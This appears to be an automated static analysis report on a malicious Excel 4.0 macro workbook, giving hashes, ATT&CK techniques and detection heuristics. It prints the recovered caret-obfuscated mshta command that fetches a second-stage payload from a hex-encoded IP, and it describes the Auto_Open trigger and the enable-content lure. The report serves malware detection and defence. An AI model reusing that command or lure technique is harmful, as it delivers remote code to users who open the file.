Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 be2dcba7709e8536…

MALICIOUS

Office (OLE) / .XLS

64.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: bbac4c77e778b5d5d27b6ebe7a938834 SHA-1: ed2cc999522d341b1661696e73d9580e987d5b9c SHA-256: be2dcba7709e8536e55948c2a0cec8b703c4e44670576156aa4863d4ae340b0d
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an 'Auto_Open' macro to execute a command. The document body contains a lure instructing the user to 'Enable Editing' and 'Enable Content' to view the content. The extracted macro defines a string 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html' and assigns it to the name 'lll'. This command, when executed, will attempt to download a second-stage payload from the reconstructed URL http://0xc12a24f5/cc.html. The use of the 'Auto_Open' macro and the user-enablement lure are common techniques for macro-based malware delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes